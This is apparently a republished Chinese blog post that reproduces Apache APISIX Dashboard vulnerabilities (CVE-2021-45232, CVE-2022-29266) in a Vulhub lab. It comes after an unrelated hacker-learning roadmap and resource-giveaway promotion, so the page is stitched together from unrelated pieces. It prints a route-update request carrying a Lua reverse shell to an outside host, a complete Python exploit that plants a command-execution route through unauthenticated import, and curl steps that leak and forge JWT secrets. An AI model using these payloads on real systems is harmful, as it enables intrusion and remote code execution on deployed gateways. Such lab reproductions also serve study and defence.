2024年网络安全最新Apache Apisix网关系统历史漏洞复现分析_apache apisix 漏洞(3)，网络安全程序员如何通过跳槽薪资翻倍

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）
恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k

到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？

如果你想要入坑黑客&网络安全，笔者给大家准备了一份：282G全网最全的网络安全资料包评论区留言即可领取！

7、脚本编程（初级/中级/高级）
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.

如果你零基础入门，笔者建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习；搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime；·Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完；·用Python编写漏洞的exp,然后写一个简单的网络爬虫；·PHP基本语法学习并书写一个简单的博客系统；熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)；·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远，就不展开细说了，附上学习路线。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话，评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。

一些笔者自己买的、其他平台白嫖不到的视频教程。

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

Apache APISIX Dashboard 是基于浏览器的可视化平台，用于监控、管理 Apache APISIX。Apache APISIX Dashboard 2.10.1 版本前存在两个 API：/apisix/admin/migrate/export 和 /apisix/admin/migrate/import，它们没有经过 droplet 框架的权限验证，导致未授权的攻击者可以导出、导入当前网关的所有配置项，包括路由、服务、脚本等。攻击者通过导入恶意路由，可以用来让 Apache APISIX 访问任意网站，甚至执行 LUA 脚本。

继续使用 Vulhub 一键搭建靶场环境：

然后访问 http://your-ip:9000/ 即可看到 Apache APISIX Dashboard 的登录页面：

2.1 默认账户密码导致RCE

官方默认登录账户密码 admin/admin（Vulhub 镜像的密码为 vulhub）:

其实实战中如果没有敏感接口的未授权访问漏洞的话，是可以通过弱密码登录后台进行 RCE 的，接下来先看看进入后台后如何完成 RCE。

1、 先创建任意名称的上游服务，请注意目标节点信息后面触发 RCE 会用到：

2、 接着创建路由，把选择上游服务选择为上面的创造的上游：

3、访问上述创建的路由，通过“查看”修改配置，添加反弹 Shell 的 Lua Script：


提交修改请求（API 接口参数释义请参见：https://apisix.apache.org/zh/docs/apisix/admin-api/#route），数据包如下：

PUT /apisix/admin/routes/501155186035655361 HTTP/1.1
Host: XXX.XXX.XXX.16:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://XXX.XXX.XXX.16:9000/routes/list
Content-Type: application/json;charset=UTF-8
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDgyNDMyNjIsImlhdCI6MTcwODIzOTY2Miwic3ViIjoiYWRtaW4ifQ.BkV5VDZkMubP56Uutpn0CXQwx2oJUumjH7HgpvlpBdo
Content-Length: 227
Origin: http://XXX.XXX.XXX.16:9000
Connection: close

{"uri":"/\*","name":"rce","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('/bin/bash -i >& /dev/tcp/XXX.XXX.XXX.50/6666 0>&1')","upstream\_id":"501154557745693377","status":1}

4、接着访问：http://127.0.0.1:9080/rce，即可触发命令执行实现 RCE：


【More】创建路由时并非强制选择上游服务，故上述创建上游服务的步骤也可以直接忽略，直接创建路由并指定一个有效的目标节点（主机名+有效业务端口）接口，比如：

2.2 未授权访问api接口RCE

此漏洞的鉴权缺陷源码分析可参见：https://xz.aliyun.com/t/10732。

那如果没有默认密码或者弱密码的话，这时我们就利用未授权接口进行 RCE 了。这里我们需要知道这两个接口一个是用来导出配置文件，一个是用来导入配置文件的。

我们可以使用 /apisix/admin/migrate/export 直接导出配置文件，删除 Authorization 字段后发现是可以正常未授权访问的：

接下来利用另一个接口导入恶意配置即可实现 RCE，但是从上面导出的配置数据可以看到，后面多出四个字节，这 4 个字节其实是配置文件的 checksum 值，在导入配置文件时，也会对配置文件的 checksum 值进行校验，那这里需要阅读 APISIX 源码并编写脚本算出 checksum 校验值。

简单起见，直接利用 Github 现成的 POC 验证程序即可：https://github.com/wuppp/cve-2021-45232-exp/blob/main/apisix_dashboard_rce.py

#!/usr/bin/env python3
import zlib
import json
import random
import requests
import string
import sys
from urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


eval_config = {
    "Counsumers": [],
    "Routes": [
        {
            "id": str(random.randint(100000000000000000, 1000000000000000000)),
            "create\_time": 1640674554,
            "update\_time": 1640677637,
            "uris": [
                "/rce"
            ],
            "name": "rce",
            "methods": [
                "GET",
                "POST",
                "PUT",
                "DELETE",
                "PATCH",
                "HEAD",
                "OPTIONS",
                "CONNECT",
                "TRACE"
            ],
            "script": "local file = io.popen(ngx.req.get\_headers()['cmd'],'r') \n local output = file:read('\*all') \n file:close() \n ngx.say(output)",
            "status": 1
        }
    ],
    "Services": [],
    "SSLs": [],
    "Upstreams": [],
    "Scripts": [],
    "GlobalPlugins": [],
    "PluginConfigs": []
}


def random_str():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=6))


def calc_crc(data):
    crc32 = zlib.crc32(data) & 0xffffffff
    return crc32.to_bytes(4, byteorder="big")


def export_data(url):
    r = requests.get(url + "/apisix/admin/migrate/export", verify=False)
    return r.text[:-4]


def import_data(url, data):
    data = json.dumps(data).encode()
    crc32 = calc_crc(data)

    files = {"file": ("data", data + crc32, "text/data")}
    resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False)
    # print(resp.text)
    if resp.json().get("code", -1) == 0:
        return True
    else:
        return False


if __name__ == "\_\_main\_\_":
    if len(sys.argv) != 2:
        print("python " + sys.argv[0] + " http://127.0.0.1:9000")
        exit()

    url = sys.argv[1]
    if url.endswith("/"):
        url = url[:-1]

    uri = random_str()
    eval_config["Routes"][0]["uris"] = [ "/" + uri]
    eval_config["Routes"][0]["name"] = uri

    if import_data(url, eval_config):
        print("attack success")
        print("uri is: " + "/" + uri)
    else:
        print("attack error")

脚本攻击效果演示如下（注意执行命令时应更换为 9080 端口）：

回到 Dashboard 管理台即可发现上述脚本创建了一个恶意路由：

CVE-2022-24112 地址限制绕过

官方发布的漏洞信息：https://apisix.apache.org/zh/blog/2022/02/11/cve-2022-24112/。

此漏洞相对比较鸡肋，主要是用于绕过 IP 地址访问限制，漏洞利用条件是目标系统使用了默认的 Admin Key（即 CVE-2020-13945 中的 X-API-KEY），此处暂不复现。

参考文章：

1. CVE-2022-24112 Apache APISIX 远程代码执行漏洞;
2. CVE-2022-24112：Apache APISIX 命令执行漏洞 - 华盟学院;
3. https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py；

CVE-2022-29266 JWT令牌伪造

在 Apache APISIX < 2.13.1 版本之前的 Apache APISIX 中，由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库，而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值，因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露，攻击者可以通过向受 jwt-auth 插件保护的路由发送不正确的 JSON Web 令牌并通过错误消息响应获取插件配置的 JWT Secret，进而伪造有效的 JWT 会话凭证来非法访问 API 接口。

漏洞分析参考文章：《APISIX CVE-2022-29266 漏洞分析与复现 |TeamsSix》、《CVE-2022-29266 Apache Apisix jwt-auth插件 密钥泄漏》。

4.1 漏洞源码简析与修复

通过 Apache 官方提交的修复记录 https://github.com/apache/apisix/pull/6846/commits/bf296bbdad52055d9362958e9262c861a4b723ed 可以看到此漏洞的问题点：

修改代码将 401 返回的附加信息 jwt_obj.reason 删除，变更为本地日志打印。可以在 lua-resty-jwt 库（https://github.com/SkyLothar/lua-resty-jwt）中找到 lib/resty/jwt.lua 文件，在 jwt.lua 文件的 782 行中，可以看到有个 jwt_obj.reason 中包含了 secret，这里代码的意思是说，如果程序执行正常就返回 secret 的值，否则就返回具体的异常信息。

此处借用 TeamsSix 的分析总结，漏洞利用的前提有以下三个：

• APISIX 需要开启 jwt-auth 插件；
• jwt-auth 插件算法需要是 HS256 或者 HS512；
• secret 的值中不能包含 CERTIFICATE 和 PUBLIC KEY 字符串；

如果满足了这三个前提，当我们利用 RS256 或者 RS512 的 JWT 值发送给 APISIX 的时候，我们就会得到 jwt-auth 中的 secret，从而实现 JWT 伪造了。

4.2 漏洞环境搭建与复现

漏洞复现沿用上文 CVE-2021-45232 的 Vulhub 靶场环境即可，APISIX 版本为 2.9，符合漏洞条件。

此漏洞涉及 JWT 令牌的相关知识，不熟悉 JWT 基础安全知识的话请参见《Web安全-JWT认证机制安全性浅析》，关于 JWT 密钥泄露的类似 CVE 漏洞也可参见《Nacos系统历史CVE漏洞的复现分析与检测》中的“QVD-2023-6271默认密钥”章节。

一键搭建完 Vulhub 的漏洞环境后，进入 dashboard 创建消费者，启用 jwt-auth 认证机制：

Consumer（也称之为消费者）是指使用 API 的应用或开发人员。在 APISIX 中，消费者需要一个全局唯一的 名称，并从上面的列表中选择一个身份验证 插件。

将 { "key": "tr0e", "secret": "passwd123456789" } 填写到编辑器里，值的话可以随便写，算法的默认配置是 HS256 。

创建完消费者 tr0e 以后，开始创建路由：


同样需要启用 jwt-auth 插件：


提交并完成路由配置：

【验证 JWT 插件】

从官方指导文档：https://apisix.apache.org/zh/docs/apisix/plugins/jwt-auth/ 可了解到，启用了 jwt-auth 插件后，会增加 /apisix/plugin/jwt/sign 这个接口。在命令行输入以下命令，参数 key 的值就是刚刚在创建 consumer 时配置的 key 值，通过访问这个 api 即可获取到 JWT 认证凭据：

携带获得的 JWT 凭据发起对应配置的 /tr0e666 路由的请求，未返回 401 即代表鉴权成功：

将此接口返回的 JWT 凭证作下解码可以看到 Payload 信息，其中 exp 是 JWT 的有效时间限制：

【漏洞复现】

JSON Web Tokens 网站 https://jwt.io/#debugger-io 可以帮助我们快速构建 JWT 凭据。

需要一个 RS256 算法的 JWT 值，这里为了方便直接在 jwt.io 中生成，只需要将算法改为 RS256，Payload 改为以下内容即可，注意 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致。

{"key": "tr0e"}

然后将上面拿到的 JWT 凭据发起访问受保护的路由的请求：

root@ubuntu:~/vulhub/apisix/CVE-2021-45232# 
root@ubuntu:~/vulhub/apisix/CVE-2021-45232# curl http://127.0.0.1:9080/tr0e666 -H 'Authorization:eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0cjBlIn0.tyNfKjLKYV860j-OQZGS0RkJFpKDsc-zEtbIklYlKrNYgkaqJmEISXNBT5jI\_c6\_rKl-1KLPT7cWe0X7LOdeyOR0C4F\_q6Mrjznd0cxbEl5arIe-ViGOjOklcXUFMh9K-1x3DL2R60Em9MmpTOQvcbz9-Weh2h4dRHdYSej7bvHaGVXUK\_8fJFXSgrn2alTnlndsRPdN9fZnkKz7rRKCCEO7skM0q7Wnho2sCWttCrTpZc6wNejj41oU3GKHmVF4bcE-WYKcf4PkTDa72ZE6-3x5xtK2s18hKzByhEb\_Nwp44V6IMqKOj4dhuYlAQjvKaM5nqY6aZXr3xPi187fLDg' -i
HTTP/1.1 401 Unauthorized
Date: Sun, 18 Feb 2024 12:39:29 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/2.9

{"message":"Decode secret is not a valid cert\/public key: passwd123456789"}
root@ubuntu:~/vulhub/apisix/CVE-2021-45232# 

此时拿到 JWT 的 Secret（即 passwd123456789）后，即可自行颁发有效的 JWT：

拿着自生成的 JWT 凭证成功访问受保护的路由：

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！